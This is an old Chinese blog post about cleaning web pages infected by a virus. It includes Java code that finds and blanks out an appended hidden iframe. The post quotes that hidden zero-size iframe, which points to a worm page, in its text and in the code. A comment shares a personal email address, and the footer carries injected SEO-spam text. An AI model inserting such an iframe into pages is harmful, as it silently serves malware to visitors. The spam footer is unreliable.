小魚的空氣

          記錄我所思

          修復被病毒修改的網頁

          ???? 前幾天機器中毒,開始時只是IE彈彈窗口,后來嚴重到不可以忍受以至重裝,今天打開一些J以前備份下來的JSP文件看看,每個文件最后都加上了一行:"<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>",這樣打開這些網頁就可能中招,再看看HTML文件也同樣遭此毒手。

          ???????于是便開始用Java寫個小程序來修復這些文件,要高效率地修復這些文件,看來只能使用RandomAccessFile,因為其它的IO流都是順序讀寫的,而RandomAccessFile可以跳到指定的位置。方法很簡單,計算一下這行垃圾的起始位置,然后用空格替換之。沒什么好說的,值得注意的是寫空格時,只有用randomAccessFile.writeBytes(" ")才行,其它的寫方法會寫入亂碼,待探究。
          ???????
          ?????? 下面將代碼貼上,以備忘。

          package?hy;

          import?java.io.File;
          import?java.io.FileNotFoundException;
          import?java.io.FilenameFilter;
          import?java.io.RandomAccessFile;

          public?class?RepairPage?{

          ????
          private?static?int?num;
          ????
          private?String?worm?=?"<iframe?src=http://www.krvkr.com/worm.htm?width=0?height=0></iframe>";


          ????
          public?void?repair(File?page){
          ????????
          //System.out.println("Try?File:"+page.getPath());
          ????????try?{
          ????????????RandomAccessFile?r?
          =?new?RandomAccessFile(page,"rw");
          ????????????
          if(r.length()<70)
          ????????????????
          return;
          ????????????r.seek(r.length()?
          -?70);//跳到最后一行
          ????????????String?shit?=?r.readLine();
          ????????????
          if(shit.equals(worm)){
          ????????????????
          //System.out.println("shit?content:"+shit);
          ????????????????System.out.println("修復損壞文件:"+page.getPath());
          ????????????????r.seek(r.length()?
          -?70);
          ????????????????
          for?(int?i?=?0;?i?<?worm.length();?i++)?{
          ????????????????????r.writeBytes(
          "?");
          ????????????????}

          ????????????????num?
          ++;
          ????????????}

          ????????}
          ?catch?(Exception?e)?{
          ????????????e.printStackTrace();
          ????????}

          ????}


          ????
          public?void?doDir(File?dir)?{
          ????????
          if?(dir.canRead())?{
          ????????????
          if?(dir.isDirectory())?{
          ????????????????String[]?files?
          =?dir.list();
          ????????????????
          if?(files?!=?null)?{
          ????????????????????
          for?(int?i?=?0;?i?<?files.length;?i++)?{
          ????????????????????????doDir(
          new?File(dir,?files[i]));//?遞歸
          ????????????????????}

          ????????????????}

          ????????????}
          ?else?{//?is?File
          ????????????????String?name?=?dir.getName();
          ????????????????
          if?(name.endsWith("jsp")?||?name.endsWith("html")?||?name.endsWith("htm"))
          ????????????????????repair(dir);
          ????????????}

          ????????}

          ????}


          ????
          public?static?void?main(String[]?args)?{

          ????????File?dir?
          =?new?File("c:\\pages");
          ????????RepairPage?repair?
          =?new?RepairPage();
          ????????repair.doDir(dir);
          ????????System.out.println(
          "修復成功完成,修復文件數:"+repair.num);
          ????}


          }

          posted on 2006-12-20 19:23 小魚 閱讀(347) 評論(1)  編輯  收藏

          評論

          # re: 修復被病毒修改的網頁 2007-12-24 23:25 崩潰邊緣

          你好 我也被類似的病毒感染了

          硬盤里有7000多個html和htm文件被感染!

          不懂java,有朋友剛學.

          能否幫助一下?

          我的郵箱 369308529@qq.com

            回復  更多評論   


          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          <2025年6月>
          25262728293031
          1234567
          891011121314
          15161718192021
          22232425262728
          293012345

          導航

          統計

          常用鏈接

          留言簿(3)

          我參與的團隊

          隨筆檔案

          文章檔案

          搜索

          最新評論

          主站蜘蛛池模板: 巴东县| 绿春县| 江川县| 孝感市| 清涧县| 石景山区| 光泽县| 沙田区| 兴文县| 阿勒泰市| 阳春市| 马关县| 汉阴县| 莱阳市| 万源市| 安化县| 盐边县| 旬邑县| 扎囊县| 礼泉县| 宜春市| 浮山县| 武安市| 都兰县| 石嘴山市| 延川县| 青浦区| 大关县| 克什克腾旗| 商丘市| 靖江市| 宕昌县| 伊春市| 新龙县| 广河县| 灵石县| 禹城市| 乌兰县| 湟中县| 教育| 方城县|